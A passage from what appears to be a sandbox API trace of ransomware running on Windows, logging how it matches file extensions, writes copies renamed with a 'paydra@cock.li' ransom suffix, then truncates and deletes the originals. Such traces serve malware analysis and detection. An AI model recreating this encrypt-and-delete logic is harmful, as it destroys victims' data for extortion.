(lpString1=".7z", lpString2="CGM") returned -1 [0054.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0054.167] lstrlenW (lpString=".dbf") returned 4 [0054.167] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1 [0054.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0054.167] lstrlenW (lpString=".1cd") returned 4 [0054.167] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1 [0054.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0054.167] lstrlenW (lpString=".jpg") returned 4 [0054.167] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1 [0054.167] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0054.167] lstrlenW (lpString="hxds.dll") returned 8 [0054.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0054.168] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1257984) returned 1 [0054.168] CloseHandle (hObject=0x198) returned 1 [0054.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 0x20 [0054.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0054.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0054.168] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.168] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0054.171] GetLastError () returned 0x0 [0054.171] ReadFile (in: hFile=0x198, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0054.193] WriteFile (in: hFile=0x240, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0054.429] ReadFile (in: hFile=0x198, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x33210, lpOverlapped=0x0) returned 1 [0054.439] WriteFile (in: hFile=0x240, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x33220, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0x33220, lpOverlapped=0x0) returned 1 [0054.444] ReadFile (in: hFile=0x198, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.444] WriteFile (in: hFile=0x240, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0054.444] SetEndOfFile (hFile=0x240) returned 1 [0054.445] CloseHandle (hObject=0x240) returned 1 [0054.445] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.445] SetEndOfFile (hFile=0x198) returned 1 [0054.446] CloseHandle (hObject=0x198) returned 1 [0054.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0054.447] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 1 [0054.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0054.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0054.447] lstrlenW (lpString=".doc") returned 4 [0054.447] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.447] lstrlenW (lpString=".docx") returned 5 [0054.447] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0054.447] lstrlenW (lpString=".pdf") returned 4 [0054.447] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.447] lstrlenW (lpString=".xls") returned 4 [0054.447] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.447] lstrlenW (lpString=".xlsx") returned 5 [0054.447] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0054.447] lstrlenW (lpString=".ppt") returned 4 [0054.447] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0054.447] lstrlenW (lpString=".zip") returned 4 [0054.447] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.447] lstrlenW (lpString=".rar") returned 4 [0054.447] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.447] lstrlenW (lpString=".bz2") returned 4 [0054.447] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.447] lstrlenW (lpString=".7z") returned 3 [0054.447] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0054.448] lstrlenW (lpString=".dbf") returned 4 [0054.448] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0054.448] lstrlenW (lpString=".1cd") returned 4 [0054.448] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0054.448] lstrlenW (lpString=".jpg") returned 4 [0054.448] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0054.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0054.448] lstrlenW (lpString=".doc") returned 4 [0054.448] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.448] lstrlenW (lpString=".docx") returned 5 [0054.448] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0054.448] lstrlenW (lpString=".pdf") returned 4 [0054.448] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.448] lstrlenW (lpString=".xls") returned 4 [0054.448] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.448] lstrlenW (lpString=".xlsx") returned 5 [0054.448] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0054.448] lstrlenW (lpString=".ppt") returned 4 [0054.448] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0054.448] lstrlenW (lpString=".zip") returned 4 [0054.448] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.448] lstrlenW (lpString=".rar") returned 4 [0054.448] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.448] lstrlenW (lpString=".bz2") returned 4 [0054.448] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.448] lstrlenW (lpString=".7z") returned 3 [0054.448] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0054.448] lstrlenW (lpString=".dbf") returned 4 [0054.448] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0054.449] lstrlenW (lpString=".1cd") returned 4 [0054.449] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0054.449] lstrlenW (lpString=".jpg") returned 4 [0054.449] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.449] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0054.449] lstrlenW (lpString="FlickLearningWizard.exe.mui") returned 27 [0054.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.434] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=8704) returned 1 [0055.435] CloseHandle (hObject=0x214) returned 1 [0055.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0055.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0055.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0055.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0055.577] lstrlenW (lpString=".doc") returned 4 [0055.577] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0055.577] lstrlenW (lpString=".docx") returned 5 [0055.577] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0055.577] lstrlenW (lpString=".pdf") returned 4 [0055.577] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0055.577] lstrlenW (lpString=".xls") returned 4 [0055.577] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0055.577] lstrlenW (lpString=".xlsx") returned 5 [0055.577] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0055.577] lstrlenW (lpString=".ppt") returned 4 [0055.577] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0055.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0055.577] lstrlenW (lpString=".zip") returned 4 [0055.577] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0055.577] lstrlenW (lpString=".rar") returned 4 [0055.577] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0055.577] lstrlenW (lpString=".bz2") returned 4 [0055.577] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0055.577] lstrlenW (lpString=".7z") returned 3 [0055.577] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0055.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0055.577] lstrlenW (lpString=".dbf") returned 4 [0055.577] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0055.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0055.577] lstrlenW (lpString=".1cd") returned 4 [0055.578] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0055.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0055.578] lstrlenW (lpString=".jpg") returned 4 [0055.578] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0055.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0055.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0055.578] lstrlenW (lpString=".doc") returned 4 [0055.578] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0055.578] lstrlenW (lpString=".docx") returned 5 [0055.578] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0055.578] lstrlenW (lpString=".pdf") returned 4 [0055.578] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0055.578] lstrlenW (lpString=".xls") returned 4 [0055.578] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0055.578] lstrlenW (lpString=".xlsx") returned 5 [0055.578] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0055.578] lstrlenW (lpString=".ppt") returned 4 [0055.578] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0055.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0055.578] lstrlenW (lpString=".zip") returned 4 [0055.578] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0055.578] lstrlenW (lpString=".rar") returned 4 [0055.578] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0055.578] lstrlenW (lpString=".bz2") returned 4 [0055.578] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0055.578] lstrlenW (lpString=".7z") returned 3 [0055.578] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0055.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0055.578] lstrlenW (lpString=".dbf") returned 4 [0055.578] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0055.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0055.578] lstrlenW (lpString=".1cd") returned 4 [0055.578] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0055.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0055.579] lstrlenW (lpString=".jpg") returned 4 [0055.579] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0055.579] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0055.579] lstrlenW (lpString="IpsMigrationPlugin.dll.mui") returned 26 [0055.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0056.025] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=2560) returned 1 [0056.026] CloseHandle (hObject=0x198) returned 1 [0056.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0056.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0056.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0056.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0056.091] lstrlenW (lpString=".doc") returned 4 [0056.091] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0056.091] lstrlenW (lpString=".docx") returned 5 [0056.091] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0056.091] lstrlenW (lpString=".pdf") returned 4 [0056.091] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0056.091] lstrlenW (lpString=".xls") returned 4 [0056.091] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0056.091] lstrlenW (lpString=".xlsx") returned 5 [0056.091] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0056.091] lstrlenW (lpString=".ppt") returned 4 [0056.091] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0056.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0056.091] lstrlenW (lpString=".zip") returned 4 [0056.091] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0056.091] lstrlenW (lpString=".rar") returned 4 [0056.091] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0056.092] lstrlenW (lpString=".bz2") returned 4 [0056.092] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0056.092] lstrlenW (lpString=".7z") returned 3 [0056.092] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0056.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0056.092] lstrlenW (lpString=".dbf") returned 4 [0056.092] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0056.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0056.092] lstrlenW (lpString=".1cd") returned 4 [0056.092] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0056.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0056.092] lstrlenW (lpString=".jpg") returned 4 [0056.092] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0056.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0056.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0056.092] lstrlenW (lpString=".doc") returned 4 [0056.092] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0056.092] lstrlenW (lpString=".docx") returned 5 [0056.092] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0056.092] lstrlenW (lpString=".pdf") returned 4 [0056.092] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0056.092] lstrlenW (lpString=".xls") returned 4 [0056.092] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0056.092] lstrlenW (lpString=".xlsx") returned 5 [0056.092] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0056.092] lstrlenW (lpString=".ppt") returned 4 [0056.092] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0056.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0056.092] lstrlenW (lpString=".zip") returned 4 [0056.092] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0056.092] lstrlenW (lpString=".rar") returned 4 [0056.092] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0056.093] lstrlenW (lpString=".bz2") returned 4 [0056.093] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0056.093] lstrlenW (lpString=".7z") returned 3 [0056.093] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0056.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0056.093] lstrlenW (lpString=".dbf") returned 4 [0056.093] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0056.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0056.093] lstrlenW (lpString=".1cd") returned 4 [0056.093] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0056.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0056.093] lstrlenW (lpString=".jpg") returned 4 [0056.093] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0056.093] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0056.093] lstrlenW (lpString="tabskb.dll.mui") returned 14 [0056.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0056.477] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=3072) returned 1 [0056.477] CloseHandle (hObject=0x1fc) returned 1 [0056.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20 [0056.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0057.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.274] lstrlenW (lpString=".doc") returned 4 [0057.274] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.274] lstrlenW (lpString=".docx") returned 5 [0057.274] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.274] lstrlenW (lpString=".pdf") returned 4 [0057.274] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.274] lstrlenW (lpString=".xls") returned 4 [0057.274] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.274] lstrlenW (lpString=".xlsx") returned 5 [0057.274] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.274] lstrlenW (lpString=".ppt") returned 4 [0057.274] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.275] lstrlenW (lpString=".zip") returned 4 [0057.275] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.275] lstrlenW (lpString=".rar") returned 4 [0057.275] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.275] lstrlenW (lpString=".bz2") returned 4 [0057.275] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.275] lstrlenW (lpString=".7z") returned 3 [0057.275] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.275] lstrlenW (lpString=".dbf") returned 4 [0057.275] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.275] lstrlenW (lpString=".1cd") returned 4 [0057.275] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.275] lstrlenW (lpString=".jpg") returned 4 [0057.275] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.275] lstrlenW (lpString=".doc") returned 4 [0057.275] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.275] lstrlenW (lpString=".docx") returned 5 [0057.275] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.275] lstrlenW (lpString=".pdf") returned 4 [0057.275] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.275] lstrlenW (lpString=".xls") returned 4 [0057.275] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.275] lstrlenW (lpString=".xlsx") returned 5 [0057.275] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.275] lstrlenW (lpString=".ppt") returned 4 [0057.275] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.275] lstrlenW (lpString="C:\\Program 